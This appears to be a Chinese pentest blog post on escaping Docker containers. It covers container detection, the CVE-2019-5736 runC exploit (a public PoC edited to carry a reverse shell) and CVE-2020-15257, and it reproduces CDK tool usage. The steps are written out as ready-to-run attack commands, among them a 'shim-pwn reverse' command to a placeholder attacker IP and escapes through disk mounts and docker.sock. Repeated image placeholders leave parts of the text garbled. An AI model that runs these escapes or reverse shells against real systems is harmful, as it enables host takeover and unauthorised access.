Skip to main content

Docker-逃逸-本身漏洞-CDK工具使用

·241 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

Docker-逃逸-本身漏洞-CDK工具使用
#

如何判断在不在docker环境
#

容器逃逸方法检测指北 | T Wiki

1.cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2.检查/.dockerenv文件
3.检查mount信息
4.查看硬盘 fdisk -l

如果测试了特权不行,socket,挂载都没有,就测试docker漏洞,内核漏洞,翻数据库文件找和主目录有交集的文件
如果是JAVA应用你进去就是ROOT 就考虑逃逸
如果是WWW那么还要加一步提权到ROOT 再到逃逸

本身漏洞CVE-2019-5736 runC容器逃逸
#

Docker version <= 18.09.2

RunC version <= 1.0-rc6
条件如上
需要go语言来编译POC 
这个缺陷是需要管理员自己进入才能触发----

sudo yum install golang
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go   linux环境编译

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest创建环境
docker cp main name:/ 上传镜像

docker exec -it name /bin/sh 触发反弹

https://github.com/Frichetten/CVE-2019-5736-PoC

下载poc修改反弹代码

1

上传文件执行

nmap
NMAP扫描

模拟管理员登录

nmap
NMAP扫描

自动反弹本机的文件ROOT到反弹的位置

nmap
NMAP扫描
d

CVE-2020-15257 containerd逃逸-工具CDK介绍
#

containerd < 1.4.3

containerd < 1.3.9
我们使用工具来逃逸上传进去添加777权限
普通检测./cdk_linux_amd64 evaluate 
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx 使用CVE-2020-15257
如果检测到就使用 例如特权模式挂载命令 ./cdk run mount-disk 
socket挂载漏洞 ./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success" 命令执行	

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl	(get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

https://github.com/cdk-team/CDK

nmap
NMAP扫描

拿到主机权限

nmap
NMAP扫描

Related

Docker-逃逸-安全
·274 words·2 mins
红日靶场4
·242 words·2 mins
红日靶场7-WP-MS17-010-WMI-laravel-docker-exp
云上服务-OSS存储桶渗透-AKSK两种利用特征
·272 words·2 mins
JWT渗透相关
·125 words·1 min